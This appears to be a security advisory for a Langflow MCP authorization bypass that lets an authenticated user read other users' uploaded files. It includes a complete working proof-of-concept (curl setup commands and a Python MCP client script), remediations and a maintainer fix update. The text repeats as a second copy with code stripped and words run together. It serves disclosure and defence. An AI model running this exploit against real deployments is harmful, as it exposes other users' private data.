Summary
Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.
This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.
Details
Verified against local checkout:
- Repository:
langflow-ai/langflow
- Verified on release tag:
v1.8.3
- Commit:
08bf98404cfd7737fde57a2588785766cdf1b42e
- Earliest stable release known to contain the vulnerable code path:
v1.6.8
Relevant code path:
-
src/backend/base/langflow/api/v1/mcp_projects.py:147-193
verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.
-
src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241
The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).
-
src/backend/base/langflow/api/v1/mcp_utils.py:163-182
handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:
storage_service.get_file(flow_id=flow_id, file_name=filename)
No check ties the supplied flow_id back to the authenticated user or the current project.
-
src/backend/base/langflow/services/storage/local.py:141-149
src/backend/base/langflow/services/storage/s3.py:200-217
The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
src/backend/base/langflow/api/v1/mcp_utils.py:102-121
handle_list_resources(project_id=None) lists files for all flows.
src/backend/base/langflow/api/v1/mcp_utils.py:333-380
handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.
That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
PoC
Preconditions:
- Langflow is running locally with authentication enabled.
- Two separate users exist on the same instance.
- The victim has a flow with an uploaded file.
- The attacker has access to any project they own.
I verified the issue locally by starting Langflow with:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -a
source .env.verify
set +a
export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"
uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn
app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY
Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:
- the normal file download route is blocked for the attacker (
404)
- the same file is readable through the attacker's own project-scoped MCP connection
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail
export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null
export VICTIM_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$VICTIM_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export ATTACKER_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$ATTACKER_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export VICTIM_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"victim-project"}' | jq -r '.id'
)
export ATTACKER_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-project"}' | jq -r '.id'
)
export VICTIM_FLOW_ID=$(
curl -sS -X POST "$BASE/api/v1/flows/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
| jq -r '.id'
)
printf 'cross-project-read-proof\n' > /tmp/secret.txt
export UPLOAD_JSON=$(
curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-F "file=@/tmp/secret.txt"
)
export VICTIM_FILE=$(
printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)
export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"
export ATTACKER_API_KEY=$(
curl -sS -X POST "$BASE/api/v1/api_key/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)
export DIRECT_STATUS=$(
curl -sS -o /dev/null -w '%{http_code}' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
"$VICTIM_URI"
)
export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os
import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client
base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"
async def main():
async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.read_resource(victim_uri)
blob = result.contents[0].blob
print(base64.b64decode(base64.b64decode(blob)).decode().strip())
asyncio.run(main())
PY
)
echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"
Expected output:
Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof
Observed server logs during verification:
GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
Impact
This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.
Practical impact includes:
- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
- Unauthorized access to sensitive business data stored in flow namespaces
- Easier exploitation when global MCP helpers reveal other users' flow IDs and file names
Severity estimate:
- CVSS v4:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Estimated score:
7.1 (High)
Suggested Remediations
-
Authorize resources/read against the authenticated context before calling storage.
Resolve flow_id to a database object and require both:
flow.user_id == current_user.id
and, for project-scoped transports, flow.folder_id == current_project_id.
-
Stop trusting arbitrary file-download URIs as resource identifiers.
Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.
-
Scope global MCP enumeration helpers to the authenticated user.
handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.
Fix Status (Maintainer Triage Update — 2026-09-22)
This report is accurate. The vulnerable code path described above (missing
ownership check in handle_read_resource()) has since been fixed.
Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 —
confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1
release, not later).
Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR
#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".
- Backport commit on
release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032
- Corresponding commit on
main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa
The fix:
handle_read_resource() now requires an authenticated user context and
resolves the namespace segment of the URI to a Flow row scoped to
Flow.user_id == current_user.id, additionally filtering on
Flow.folder_id == project_id for project-scoped MCP servers
(src/backend/base/langflow/api/v1/mcp_utils.py).
- Rejects filenames containing
.., /, or \ as defense-in-depth against
path traversal, and applies the same containment check to the storage
layer's get_file/get_file_stream/delete_file/get_file_size
(local.py/s3.py, both in langflow and lfx).
handle_list_resources() / handle_list_tools() are now scoped to
current_user.id on the global (non-project) MCP server, closing the
cross-user enumeration this report also flagged.
Verified independently against langflow-ai/langflow @ 89444c3bb5
(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and
the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py,
21/21 passing) includes test_handle_read_resource_denies_other_users_flow,
which reproduces this report's exact cross-user scenario and asserts it now
raises ValueError("... access denied").
Severity (High, CVSS v4 7.1) and CWE-639 classification reviewed and
confirmed accurate for the pre-fix behavior.
Summary
Langflow's project-scoped MCP transport authenticates the caller for the
project_idin the connection URL, but the subsequentresources/readoperation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.This is a cross-user authorization bypass (
userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.Details
Verified against local checkout:
langflow-ai/langflowv1.8.308bf98404cfd7737fde57a2588785766cdf1b42ev1.6.8Relevant code path:
src/backend/base/langflow/api/v1/mcp_projects.py:147-193verify_project_auth_conditional()authenticates the caller and checks access only to theproject_idin the MCP transport URL.src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241The project-scoped MCP server registers
read_resource()and forwards the attacker-controlled URI directly tohandle_read_resource(uri=uri).src/backend/base/langflow/api/v1/mcp_utils.py:163-182handle_read_resource()parses the last two URI path segments asflow_idandfilename, then directly calls:No check ties the supplied
flow_idback to the authenticated user or the current project.src/backend/base/langflow/services/storage/local.py:141-149src/backend/base/langflow/services/storage/s3.py:200-217The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
src/backend/base/langflow/api/v1/mcp_utils.py:102-121handle_list_resources(project_id=None)lists files for all flows.src/backend/base/langflow/api/v1/mcp_utils.py:333-380handle_list_tools(project_id=None)queries all flows and includes flow IDs in tool metadata.That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
PoC
Preconditions:
I verified the issue locally by starting Langflow with:
Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:
404)Expected output:
Observed server logs during verification:
Impact
This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to
resources/read.Practical impact includes:
Severity estimate:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N7.1(High)Suggested Remediations
Authorize
resources/readagainst the authenticated context before calling storage.Resolve
flow_idto a database object and require both:flow.user_id == current_user.idand, for project-scoped transports,
flow.folder_id == current_project_id.Stop trusting arbitrary file-download URIs as resource identifiers.
Instead, return opaque server-generated resource IDs from
resources/listand resolve them server-side to an already authorized object.Scope global MCP enumeration helpers to the authenticated user.
handle_list_resources()andhandle_list_tools()should not query all flows whenproject_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.Fix Status (Maintainer Triage Update — 2026-09-22)
This report is accurate. The vulnerable code path described above (missing
ownership check in
handle_read_resource()) has since been fixed.Corrected affected version range:
>= 1.6.8, <= 1.9.0(not<= 1.8.3—confirmed still vulnerable through
v1.9.0; the fix landed with thev1.9.1release, not later).
Fixed in:
v1.9.1(GitHub Release published 2026-04-24), via PR#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".
release-1.9.1:f0fd436fe9829192ee550e6cb46961a01dd37032main:b8fe970493fd5fb2e1fc71dfccc79f90b76058faThe fix:
handle_read_resource()now requires an authenticated user context andresolves the namespace segment of the URI to a
Flowrow scoped toFlow.user_id == current_user.id, additionally filtering onFlow.folder_id == project_idfor project-scoped MCP servers(
src/backend/base/langflow/api/v1/mcp_utils.py)...,/, or\as defense-in-depth againstpath traversal, and applies the same containment check to the storage
layer's
get_file/get_file_stream/delete_file/get_file_size(
local.py/s3.py, both inlangflowandlfx).handle_list_resources()/handle_list_tools()are now scoped tocurrent_user.idon the global (non-project) MCP server, closing thecross-user enumeration this report also flagged.
Verified independently against
langflow-ai/langflow@89444c3bb5(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and
the regression suite (
src/backend/tests/unit/api/v1/test_mcp_utils.py,21/21 passing) includes
test_handle_read_resource_denies_other_users_flow,which reproduces this report's exact cross-user scenario and asserts it now
raises
ValueError("... access denied").Severity (
High, CVSS v47.1) and CWE-639 classification reviewed andconfirmed accurate for the pre-fix behavior.